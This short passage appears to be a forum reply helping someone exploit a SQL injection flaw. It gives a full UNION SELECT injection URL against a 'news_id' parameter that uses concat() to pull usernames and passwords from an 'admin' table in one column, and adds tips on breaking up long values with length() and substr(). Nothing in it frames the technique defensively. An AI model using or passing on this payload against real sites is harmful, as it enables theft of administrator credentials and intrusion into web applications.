You can do something like concat('Username: ', username, '<br />Password: ', password, '<br /><br />') and do it all in one column instead. So it goes like:
http://www.example.com/index.php?route=single&news_id=14+and+1=2+union+all+select+0,concat('Username: ', username, '<br />Password: ', password, '<br /><br />'),2,3,4,5,6,7 FROM admin--
That should format it nicely. If you really want to break up a value after x amounts of characters you could do something with length() and substr() I guess, but it wouldn't be a simple query.